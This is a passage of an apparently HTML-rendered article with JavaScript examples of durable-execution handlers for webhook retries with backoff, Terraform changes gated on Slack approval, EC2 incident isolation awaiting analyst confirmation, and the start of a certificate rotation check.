    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;maxAttempts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;delays&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// minutes&lt;/span&gt;

    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;maxAttempts&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;delays&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`backoff-&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;minutes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;delays&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;

      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`deliver-&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
        &lt;span class="nf"&gt;deliverWebhook&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;);&lt;/span&gt;

      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;success&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;attempts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;mark-failed&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;markWebhookFailed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;webhookId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;attempts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;maxAttempts&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Infrastructure provisioning with approval gates.&lt;/strong&gt; Terraform plan runs, posts to Slack, suspends until someone approves.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;withDurableExecution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;plan&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;terraform-plan&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;runTerraformPlan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;workspace&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;changes&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;no_changes&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;approval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;waitForCallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;wait-for-approval&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;callbackId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;postToSlack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Terraform wants to change &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;changes&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; resources in &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;workspace&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="na"&gt;planUrl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;outputUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="na"&gt;approveUrl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;buildApproveUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;callbackId&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
          &lt;span class="na"&gt;rejectUrl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;buildRejectUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;callbackId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;hours&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;approval&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;approval&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;approved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;rejected&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;by&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;approval&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;apply&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;terraform-apply&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;runTerraformApply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;workspace&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;applied&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;resources&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;changed&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Incident response with human escalation.&lt;/strong&gt; Auto-isolate, alert, wait for analyst confirmation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;withDurableExecution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;finding&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;isolation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;isolate-instance&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;isolateEc2Instance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;finding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instanceId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;decision&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;waitForCallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;wait-for-analyst&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;callbackId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;createPagerDutyIncident&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
          &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Isolated &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;finding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instanceId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; - &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;finding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="na"&gt;details&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;finding&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="nx"&gt;callbackId&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;hours&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;decision&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;decision&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;terminate&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;terminate&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
        &lt;span class="nf"&gt;terminateInstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;finding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instanceId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;outcome&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;terminated&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;restore&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;restoreInstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;finding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instanceId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;isolation&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;previousSecurityGroups&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;outcome&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;restored&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Scheduled certificate rotation.&lt;/strong&gt; Check, renew, wait for DNS validation, swap.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;withDurableExecution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cert&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;check-expiry&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;getCertificateDetails&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;certArn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cert&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;daysUntilExpiry&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;not_due&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

